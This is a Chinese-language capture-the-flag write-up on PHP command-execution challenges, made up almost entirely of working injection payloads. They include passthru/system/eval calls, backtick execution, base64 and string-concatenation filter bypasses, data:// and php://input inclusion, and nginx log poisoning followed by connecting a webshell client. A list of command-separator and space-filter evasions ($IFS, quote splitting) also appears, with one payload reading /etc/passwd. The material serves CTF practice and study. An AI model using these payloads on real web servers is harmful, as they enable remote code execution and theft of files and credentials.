PHP命令执行
一招鲜,吃遍天 c=show_source("flag.php"); c=include($_GET[1]); c=include("flag.php");var_dump(get_defined_vars());
web30:
这道题目过滤了flag,system,php。
那么我们
解法1:passthru
?c=passthru("tac%20fla*");
解法2:绕过*号
假如*号被过滤了,我们可以通过?c=passthru("ls");先获取flag.php是目标,然后再通过?来匹配单个字母,也就是fla?????匹配flag.php,试一下,成功。 ?c=passthru("tac%20fla?????");
解法3:内敛执行 (反字节符)
?c=echo%20`tac%20fla*`;
注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,`反字节符,是键盘左上角与~在一起的那个。
解法4:带参数输入
?c=$_GET[1]&1=phpinfo(); 不行,原来是写错了。第一个c那里少了eval,少了分号。 /?c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=system("tac%20flag.php");
解法5: 显示文件命令配合base64编码
?c= highlight_file(base64_decode("ZmxhZy5waHA="));
解法6:使用base64编码绕过
- system被过滤,使用passthru函数
- payload = url/?payload = passthru(base64_decode("base64-code")); 即url/?c=passthru(base64_decode("Y2F0IGZsYWcucGhw=="));
解法7、利用cp命令将flag拷贝到别处
?c=system("cp fl*g.php a.txt ");
然后浏览器访问a.txt,读取即可。
解法8、拼接法
看了几位师傅的wp,补充一个方法 ?c=$a=sys;$b=tem;$d=$a.$b;$d("tac fl*");
解法9、可以利用已知的其他函数来凑出所需要的字符串来绕过
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
解法10、利用文件包含
①?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
②?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
③首先我们可以用BP进行抓包,把?file=php://input输入到链接后刷新抓包,然后再BP中修改发包方式为POST,然后在下面输入<?php system('tac flag.php');?>,就可以获取到flag了
?c=include$_GET[1]?>&1=php://input
④?c=include$_GET[1]?>&1=/var/log/nginx/access.log,进入日志文件,添加UA头,然后用蚁剑连接
二、过滤字符
空格可以利用%20,%09,
“;”可以利用?>来代替
使用" || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
过滤了分号和cat,可以用||和&来代替分号,tac代替cat
可构造playload:
url/?c=tac flag.php||
url/?c=tac flag.php%26
注意,这里的&需要url编码
还有一种方法是nl flag.php+%26或%0a也就是换行符
空格可以用<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)代替,然后可以使用“\”这个符号来分隔字母类的
c''at${IFS}fla''g.p''hp
?c=ca\t${IFS}fla\g.ph\p
这种题目可以先扫目录,然后再寻找文件,然后把文件带出来
scandir查看目录 ->用前几题的方法获取flag
查看根目录内容
c=print_r(scandir("/"));
查看文件内容
POST传参:c=highlight_file("/flag.txt");
POST传参:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt
c=show_source('flag.php');